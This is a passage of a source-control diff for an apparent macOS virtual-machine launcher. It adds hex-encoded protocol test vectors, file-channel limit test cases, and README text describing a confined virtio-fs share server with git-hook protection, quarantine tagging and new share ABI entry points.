323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-five", + "direction": "down", + "hex": "574d58310101000004000000390700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434222c2235353535353535352d353535352d343535352d383535352d353535353535353535353535225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boot-uppercase", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2241414141414141412d414141412d344141412d384141412d414141414141414141414141225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-longer-than-the-set", + "direction": "up", + "hex": "574d58310101000006000000bb0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65222c226672657368225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuation-either", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22656974686572225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-missing", + "direction": "up", + "hex": "574d58310101000006000000980000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "error": "bad_field" } ] } diff --git a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/runtime-flow.json b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/runtime-flow.json index 6caf226f4..f45cd4753 100644 --- a/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/runtime-flow.json +++ b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/runtime-flow.json @@ -252,5 +252,317 @@ ], "refusedAt": 1 } + ], + "fileRequestBytes": 16384, + "fileResponseBytes": 393216, + "fileInFlightRequests": 4, + "fileNote": "Contract revision 3, the guest file channel on conversation 0. A step is `bytes` payload bytes of which the last `newlines` are line ends. FILE_IN request lines count against their own bound (fileInFlightRequests outstanding, fileRequestBytes per line, newline included); a request is answered when a FILE_OUT response line ends; FILE_OUT bytes never clear the runtime IN count and FILE_IN bytes never add to it. `refusedAt` is the index of the first refused step and `error` its code, or null when every step is accepted.", + "fileCases": [ + { + "name": "four-outstanding-requests-are-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-fifth-outstanding-request-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 4, + "error": "oversize" + }, + { + "name": "a-response-frees-one-slot", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "four-requests-in-one-frame", + "steps": [ + { + "stream": "file_in", + "bytes": 400, + "newlines": 4 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "five-requests-in-one-frame-are-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 500, + "newlines": 5 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-of-exactly-16-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 16385, + "newlines": 0 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-split-across-frames-counts-once", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-split-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6385, + "newlines": 1 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "a-response-with-nothing-outstanding-is-refused", + "steps": [ + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 0, + "error": "bad_field" + }, + { + "name": "a-response-line-of-exactly-384-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393216, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-response-line-over-384-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393217, + "newlines": 0 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "file-out-bytes-never-clear-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 3, + "error": "oversize" + }, + { + "name": "file-in-bytes-never-add-to-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "runtime-out-bytes-never-answer-a-file-request", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "out", + "bytes": 10 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 5, + "error": "oversize" + } ] } diff --git a/apple/Cowork/WinterCoworkLibkrun/README.md b/apple/Cowork/WinterCoworkLibkrun/README.md index bcddf104e..695366dc1 100644 --- a/apple/Cowork/WinterCoworkLibkrun/README.md +++ b/apple/Cowork/WinterCoworkLibkrun/README.md @@ -14,10 +14,10 @@ and its two review rounds (a rejected first round, a rejected delta round, then |---|---|---| | Upstream libkrun | `upstream-pin.json` | v1.19.6, commit `227b2de6ed323fe180e02f871c5f325a90c13cc2`, source archive SHA-256 `373bed12b9d8b59dd8cb526cf91aa4ea4d94b468c761b98eb8fd3f345aee0050`, git tree `16c2ac4cdd03e394e813b244e4be3b6325215f0b`, `Cargo.lock` SHA-256 `a73d2ee0e4f2d2b63c7b4a00d2639076e4f7884a40cec495d5d82eed14dcd873` | | Rust toolchain | `upstream-pin.json` | 1.90.0 (`1159e78c4747b02ef996e55082b704c09b970588`), aarch64-apple-darwin, archive SHA-256 `9772d20d5cd736079a0ee84d00e6697cf2084f0fc4621b011e24e6f2d08d2d7f` | -| Patch queue | `patch-queue.json` | 20 patches, 0004-0023, each SHA-256 pinned (table below) | -| Composed source | `expected-hashes.json` | `git diff` of the pristine tree after the whole queue: `3826aa68ee08b23ed046f8ec5a8df7f6271969747364dd63b0bd12f27013ec01` | -| Production archive | `expected-hashes.json` | features `blk,cowork-production-only`; raw `ca876b1268696c39a97f9591727ad7f818354a08a5b837fe589c22823809a40c`, stripped `e4433efe447fd123bb72989d024013d9c913d380d2a1190bc3e181d1f69a89b3` | -| Exports | `expected-hashes.json` | 69 `krun_*` symbols: the 62 upstream ones for this feature set plus 7 `krun_cowork_*_v1`; no `fixture` symbol | +| Patch queue | `patch-queue.json` | 23 patches, 0004-0026, each SHA-256 pinned (table below) | +| Composed source | `expected-hashes.json` | `git diff` of the pristine tree after the whole queue: `7ec7dd847bc09373d02ffe23894ca9f6ddebf2c992f8dbd2f251127823be5f24` | +| Production archive | `expected-hashes.json` | features `blk,cowork-production-only`; raw `e04b4dd70f199eb206c9508e1f714f3dc2cee05802fee47ef666875c9e74cd20`, stripped `06559a845e8815cebd9f28e65029c8696129af00e7e336c366ba3c6e52fd6f91` | +| Exports | `expected-hashes.json` | 72 `krun_*` symbols: the 62 upstream ones for this feature set plus 10 `krun_cowork_*_v1`; no `fixture` symbol | No downloads happen except in `scripts/fetch_inputs.py`. The build is rebuilt only when a patch, the upstream pin or the build recipe changes: `scripts/build_archive.py` keeps a build key in `out/` and reuses a matching archive, and it fails if a rebuild @@ -27,7 +27,7 @@ differs from `expected-hashes.json` (review the change, then update that file on ``` upstream-pin.json libkrun + Rust pins patch-queue.json patch hashes, declared file scope, limits, inventory -expected-hashes.json composed / archive / exports patches/ 0004-0023 (git-diff format, applied in order) +expected-hashes.json composed / archive / exports patches/ 0004-0026 (git-diff format, applied in order) scripts/ fetch_inputs.py prepare_queue.py build_archive.py run_cargo_tests.py libkrun_common.py abi_smoke.c tests/ test_queue_guards.py (pure Python: no network, no cargo, no VM) out/ git-ignored: fetched inputs, composed source, archives @@ -41,7 +41,7 @@ python3 -I -B tests/test_queue_guards.py # guards only: offline, no cargo python3 -I -B scripts/fetch_inputs.py # the only networked step: pinned source archive, toolchain, crates python3 -I -B scripts/prepare_queue.py # compose and prove the queue (hashes, per-patch deltas, scope, no-VM audit) python3 -I -B scripts/build_archive.py # reproducible archive; checks the expected hashes; rebuilds at a second path -python3 -I -B scripts/run_cargo_tests.py # the native suites, one thread, never --ignored (553 test executions, 3 ignored) +python3 -I -B scripts/run_cargo_tests.py # the native suites, one thread, never --ignored (710 test executions, 3 ignored) ``` The build uses fixed release-profile settings, `--remap-path-prefix` for the source, cargo home and toolchain, and @@ -76,6 +76,9 @@ supersedes them. 0004-0013 are the admitted two-disk fixture queue, unchanged. | `0021-proposed-production-flush-and-pin-counters.patch` | flush counters per disk, pin high-water counters | production | `f3341cea82ea205507b7fc533674493c4c91b39ecf7b22e844f0017ea6c9cc3a` | | `0022-proposed-production-exit-path-final-flush-and-hook.patch` | one exit path, final flush of both volumes, exit hook | production | `965d43e3c06f5f73f249c4a808600ab378464e5e1e5cd13b11f82196fc8c397a` | | `0023-proposed-production-exit-and-final-flush-pins.patch` | running pins for the exit path and the final flush | tests (plus `finish` takes its budget as a parameter) | `0877eaec2bfce5a0b59915c1eb3c61f29fdf20e06ce83cfead1e44eb66ab83fc` | +| `0024-proposed-confined-virtiofs-server-core.patch` | the confined virtio-fs server core for Cowork shares (R0-R13 server half): closed opcode allowlist, checked names, descriptor-relative host calls, read-only, bounds, revoke flag; FUSE-message harness tests | production code, served by 0026 | `c4a1016dd03cc45d2fa91742a10118f43251ea85d32a6907b3abcb2cfe1ccb85` | +| `0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch` | the git rules (R15, as revised for H1-H5) and the quarantine tag (R16) of the confined server: protected names folded and held by (dev, ino), git directories recognised anywhere, the protected zone, creation order, checked pointer files, immutable hooks, config only through a checked lock rename (strict parser, allowlist, suffix backstop), tracked hooks and include targets, watched names; `com.apple.quarantine` on what the guest creates or makes executable; FUSE-message tests | production code, served by 0026 | `c66073efe6319cb9173a6f3d0c6611480baf1491ce1e52516308c1590ded52af` | +| `0026-proposed-guarded-fs-device-shares-abi-gate.patch` | the guarded fs device of the shares (one device per share, reclaim pins, freeze, chain bounds, revocation by the device thread, exit-path join), the budget from the share count, `krun_cowork_add_share_v1` / `revoke_share_v1` / `next_share_event_v1` (with the server's notices), the gate clause for `r.fs` and gate-matrix rows with shares present | production | `f4ed7ef2d32fdd0fad578e6fee136fc1dd38d287ee86aeb70956d69d99a5942c` | **Fixture-only code.** Nothing could be dropped. 0006 and 0011 add fixture evidence rows and 0007-0009 contain the oracle-only stream entry points, but later patches (0007 onward, 0016, 0020) edit the files they create, so leaving one out means rewriting the stack and @@ -84,6 +87,61 @@ cargo feature `cowork-fixture-oracle` (or `cfg(test)`), the trace and reclaim ro fixture symbol and carries no trace-row string (both checked on every build). The feature `cowork-production-only` and `cowork-fixture-oracle` are mutually exclusive (`compile_error!`); the production recipe never enables the oracle. +## Confined virtio-fs server (0024) + +`src/devices/src/virtio/fs/macos/confined/` serves one Cowork share from a root descriptor, and `Server::handle_confined_message` +(`server.rs`) dispatches a closed opcode list to it; every other opcode answers `ENOSYS`, INIT negotiates only +`ASYNC_READ | BIG_WRITES | AUTO_INVAL_DATA | MAX_PAGES` with `max_pages` 256, and a revoke flag answers `EACCES` before anything +else. Host calls are `*at` on held directory descriptors with `O_NOFOLLOW_ANY | O_RESOLVE_BENEATH` (or the `AT_`/`RENAME_` +equivalents), confirmed by (dev, ino); `O_UNIQUE`/`AT_UNIQUE` on the Winter shares. Limits: 4,096 handles (`ENFILE`), 262,144 nodes +(`ENFILE`), a directory LRU of 1,024, 1 s timeouts, modes masked to `0o755`. A directory handle reads its own directory stream +(one `DIR` and at most one entry read ahead); no handle caches a listing. The constants the pinned `libc` crate lacks are defined with their SDK header +lines. It adds no device, export or gate change itself; 0026 serves it. + +## Git rules and quarantine (0025) + +The same server, on the devices whose flags say so. **R15** (read-write folder sources, `folder_rules`): protected names compare +folded on a case-insensitive volume (`fpathconf(_PC_CASE_SENSITIVE)`) and an existing protected node is held by (dev, ino); a git +directory is a directory named `.git` or holding `HEAD`, `commondir` or `gitdir`; the protected zone is every git directory and +everything below a `.git`, except `refs/` and `logs/` directly under a git directory. In the zone `hooks` (any type) and everything +below an existing one are immutable, and `config`/`config.worktree` change only by git's own `.lock` renamed in the same +directory: a single-link regular file of at most 1 MiB, no writable handle, parsed strictly, adding or changing only allowlisted +keys (`gitconfig.rs`: what git writes, `lfs.*` minus custom transfers and extensions, plainly inert settings, a suffix backstop). +`HEAD`, `commondir` or `gitdir` never appear beside `hooks` or a non-admitted config (creation order), `HEAD`/`commondir`/`gitdir` +never outside a `.git` chain, `objects` never beside `refs` there, and git directories are never moved or removed nor a directory +renamed into the zone. Pointer files (`.git` as a file, `commondir`, `gitdir`) are buffered until FLUSH or RELEASE (4 KiB at most) +and reach the host only if their one line names an admissible target. `core.hooksPath` trees, husky v9's `.husky/` and every +include target are read before a repository's directory is served and refused to the guest, creation and ancestor renames included. +Refusals are `EPERM`; refusals and writes to watched names (`.envrc`, `.vscode/tasks.json`, `.vscode/settings.json`, +`*.code-workspace`, `.idea/*.xml`, `.idea/runConfigurations/**`) go to a bounded `share_notice` sink (one per kind per incarnation) +that the device layer drains (0026). **R16** (every read-write share): `com.apple.quarantine` = `0081;;Winter Cowork;` by +`fsetxattr` on the server's own descriptor, on CREATE, MKDIR, a SETATTR adding an execute bit, and a write-open or truncate of an +executable; a tag failure is `EIO` and a new node is removed. No device, export or gate change itself; 0026 serves it. +Symbolic links (follow-up after review): no link is made, moved or hard-linked into a `.git` chain or the zone except git's own +`core.symlinks` probe; a protected name or a `.git` that is a link made on the Mac is resolved by the server's own walk inside the share +and what it reaches is held immutable (a linked `.git` makes its git directory the zone instead); the written path of every tracked +target, and each link on its way, is a protected name that cannot be removed, moved, replaced or re-pointed; a config the server cannot +read or parse fails closed (held immutable, reported); nested git directories below `modules/` and `worktrees/` are read at discovery, +and past 4,096 directories the whole git directory is held immutable. + +## Guarded fs device and shares (0026) + +`src/devices/src/virtio/fs/cowork.rs` is the device of one share: the stock `Fs` transport with `enable_cowork_share`, and a worker +that serves the share's `ConfinedFs` the way the guarded block device serves a volume. The device registers with the reclaim +`Access` (as `3 + i`), pins both rings for the activation and each request's descriptor ranges from pop to used entry, and touches +guest memory only under a lease: the request is copied out, the server runs on a private bounce copy laid out descriptor for +descriptor with no lease held, and the reply is copied back; a freeze defers either lease. A chain of more than 260 descriptors or +1,056,768 bytes (4,096 on the high-priority queue) is refused before anything is pinned (terminal, as a malformed block chain), and so is a chain whose writable area cannot hold the +16-byte FUSE out header (the stock READ, READDIR and READDIRPLUS handlers unwrap that split), except a FORGET or BATCH_FORGET with no +writable descriptor on the high-priority queue. One +thread per device, no shared-memory region, no `EVENT_IDX`. The budget is built from the actual share count S: +`3 + S` devices, `48 + 4 S` pins, `8,388,608 + 1,114,136 S` bytes (15 / 96 / 21,758,240 at S = 12), and +`krun_cowork_get_pin_counters_v1` reports it once a VM was built. Revocation sets the share's flag; a running device thread is woken +through its request queue event and closes its own descriptors (at once when idle, otherwise at its next request boundary), a share +with no running thread is closed by the revoker under the slot lock; only then is `REVOKED` queued for the worker's +`share_revoked{tag}`. The exit path stops and joins every share worker before the exit hook. The confined server's `share_notice` sink (0025) +is forwarded onto the same queue after every request and before every drain, once per tag and kind. + ## Production ABI (`include/libkrun.h` after the queue) | Entry point | Purpose | @@ -94,7 +152,10 @@ fixture symbol and carries no trace-row string (both checked on every build). Th | `krun_cowork_validate_profile_v1(ctx)` | **mandatory** preflight; `krun_start_enter` refuses a production context that never passed it | | `krun_cowork_get_flush_counters_v1(out)` | process-global per-disk `requested`, `completed`, `final_sync_attempted`, `final_sync_completed` | | `krun_cowork_set_exit_hook_v1(ctx, hook, user_data)` | optional, once; called last, on the exiting thread, with a reason | -| `krun_cowork_get_pin_counters_v1(out)` | **seventh entry point, beyond the canonical six**: pin budget (48 pins, 8 MiB) and high-water marks | +| `krun_cowork_get_pin_counters_v1(out)` | **seventh entry point, beyond the canonical six**: pin budget (48 pins, 8 MiB; with S shares the built budget) and high-water marks | +| `krun_cowork_add_share_v1(ctx, tag, root_fd, flags, guest_path)` | one host-backed share (SH2): tag `[a-z0-9-]{1,32}` distinct, a borrowed directory fd, flags bits 0-2 only, a canonical guest path under `/workspace/` or `/run/winter/`; at most 12, each root and mount point once; production contexts only | +| `krun_cowork_revoke_share_v1(ctx, tag)` | R11 from any thread; the share's device thread closes its descriptors, then the revocation is queued | +| `krun_cowork_next_share_event_v1(ctx, out, timeout_ms)` | drains `REVOKED` (send `share_revoked{tag}`) and `NOTICE` (send `share_notice{tag, kind}`) events; 1, or 0 on timeout (at most 60,000 ms) | Exit reasons (`uint32_t`): `KRUN_COWORK_EXIT_NONE` 0, `OFF` 1 (PSCI SYSTEM_OFF), `RESET` 2 (PSCI SYSTEM_RESET), `VCPU_ERROR` 3, `TERMINAL_FAULT` 4 (exit status 77). The hook type is `void (*krun_cowork_exit_hook_v1)(void *user_data, uint32_t reason)`. @@ -102,10 +163,14 @@ Flush counters: `int32_t krun_cowork_get_flush_counters_v1(struct krun_cowork_fl `{ uint32_t size; uint32_t device_count; struct krun_cowork_flush_device_v1 device[2]; }`; `device[0]` is `winter-data`, `device[1]` is `winter-environment`. `struct krun_cowork_volume_identity` stays unsuffixed. Fixture names (`krun_*_cowork_*`) are declared only under `#ifdef KRUN_COWORK_FIXTURE_ORACLE`. Call order: `krun_create_ctx`, the non-device setters, `krun_cowork_enable_profile_v1`, -`krun_cowork_create_runtime_port_v1`, `krun_cowork_set_workspace_disks_v1`, optionally the exit hook, `krun_cowork_validate_profile_v1`, `krun_start_enter`. - -Limits and inventory: exactly 2 vCPUs and 768..=1024 MiB (`KRUN_COWORK_PRODUCTION_*`); devices unchanged from the admitted inventory -(`0x0002` x2, `0x0003`, `0x0004`, `0x0005`), no GPIO shutdown device (the gate refuses the shutdown eventfd that would attach it). +`krun_cowork_create_runtime_port_v1`, `krun_cowork_set_workspace_disks_v1`, `krun_cowork_add_share_v1` per share, optionally the exit hook, `krun_cowork_validate_profile_v1`, `krun_start_enter`. +Share event: `struct krun_cowork_share_event_v1 { uint32_t size; uint32_t kind; uint32_t notice; uint32_t reserved; char tag[36]; }` (52 bytes); kinds +`KRUN_COWORK_SHARE_EVENT_REVOKED` 1 and `NOTICE` 2; notices `ENVRC` 1, `VSCODE_TASKS` 2, `VSCODE_SETTINGS` 3, `CODE_WORKSPACE` 4, `IDEA_PROJECT` 5, `GIT_PROTECTED` 6. + +Limits and inventory: exactly 2 vCPUs and 768..=1024 MiB (`KRUN_COWORK_PRODUCTION_*`); devices: the admitted inventory +(`0x0002` x2, `0x0003`, `0x0004`, `0x0005`) plus one virtio-fs device (`0x001a`) per share from `krun_cowork_add_share_v1` (at most 12; +the gate admits `r.fs` only as that function builds it, so `krun_add_virtiofs*` and `krun_set_root` still refuse the context), no GPIO +shutdown device (the gate refuses the shutdown eventfd that would attach it). Stop is a guest drain frame followed by guest power-off. Every setter that can add a device is classified by a running test. ## Exit and flush semantics (what a worker may conclude) @@ -119,7 +184,8 @@ Stop is a guest drain frame followed by guest power-off. Every setter that can a claim needs the hook with `OFF`, both disks' `final_sync_completed == final_sync_attempted == 1`, and `completed == requested`. * Hard crashes (SIGSEGV, SIGBUS, SIGILL, SIGSYS, abort) are not handled: no signal handler is installed, so the process dies by its default disposition with no observer and no hook. Also uncertain. -* The pin budget is 48 pins / 8 MiB; overflow is fatal (exit 77). The structural maximum is 12 pins and 4,289,930 bytes. The block trace, +* The pin budget is 48 pins / 8 MiB, plus 4 pins and 1,114,136 bytes per share; overflow is fatal (exit 77). The structural maximum + is 12 pins and 4,289,930 bytes, plus each share's 4 pins and 1,114,136 bytes (a test holds 12 shares at their chain maximum at once). The block trace, its row cap and the 25 ms completion hold are absent from production; the counters replace the trace for G4. * Guest console output goes to the file descriptor the worker supplies; bounded capture belongs to the worker. @@ -130,7 +196,17 @@ Stop is a guest drain frame followed by guest power-off. Every setter that can a 3. 0016/0020 change the production block and reclaim paths (a production guest no longer ends itself after about 12,000 block requests); 0022/0023 change how the process exits for every stop, the oracle included. 